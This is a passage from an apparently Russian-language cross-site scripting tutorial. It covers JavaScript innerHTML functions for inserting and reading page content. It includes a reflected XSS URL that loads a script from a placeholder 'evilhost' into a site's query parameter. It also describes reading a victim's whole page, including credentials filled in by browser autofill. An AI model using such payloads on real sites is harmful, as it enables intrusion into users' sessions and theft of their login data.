Вот здесь начнём пользоватся innerHTML. innerHTML - свойство DOM (Document Object Model) элементов. Это свойство позволяет без труда включить в состав элемента любой код в неограниченном количестве. Ниже мы разберём пример включения в документ обычного текста. Эту задачу будет выполнять функция InsertText(). Вот её код:
function InsertText(){
// Текст который будет добавлен
var our_text=" - innerHTML in action!";
// в переменную element заносим текст который
// находится внутри наших div-тэгов (у них id - main_div)
var element=document.getElementById("main_div");
// Добавляем текст
element.innerHTML+=our_text;
}
Данный код добавит к тексту “our test form” текст “innerHTML in action!”. Всё что нам теперь нужно – вызвать данную функцию. Для этого нужно просто написать её имя в начале скрипта. В итоге код xss_code.js должен быть следующим:
// Содержимое xss_code.js
// Вызываем функцию
InsertText();
// Код функции
function InsertText(){
var our_text=" - innerHTML in action!";
var element=document.getElementById("main_div");
element.innerHTML+=our_text;
}
Для проверки работоспособности кода пройдите по ссылке:
http://clientsite/index.php?word=<script src=http://evilhost/xss_code.js></script>
Не забывайте о том, что в innerHTML содержится текст/код находящийся внутри указанного Вами элемента, и Вы можете не только изменять его, но и читать (выводить в alert(), в переменную и т.д.). Вот код, который выполнит чтение всего, что находится внутри тэга <div>:
function ShowInnerHTML(){
var our_text=" - innerHTML in action!";
var element=document.getElementById("main_div");
alert(element.innerHTML);
}
При вызове данной функции Вы должны увидеть следующее:
А что если взломщику нужно просмотреть весь код страницы? Как Вы наверное уже догадались – нужно получить innerHTML тэга <html>. Для этого можно использовать следующий код:
function GetAllPage(){
// В переменную page помещаются все свойства тэга <html>
var page=document.getElementById("html");
// а теперь в переменную CodeOfPage помещаем код страницы
var CodeOfPage=page.innerHTML;
// выводим код страницы с помощью alert().
alert(CodeOfPage);
}
Не забывайте про то, что в браузерах есть такая хорошая функция как “автозаполнение форм”. Если вдруг у жертвы данная функция активирована то шанс обнаружить какую-либо информацию в форме (например, авторизации) очень велик.
Это самый простой пример применения XSS не для кражи cookies или вывода сообщений. Идём дальше.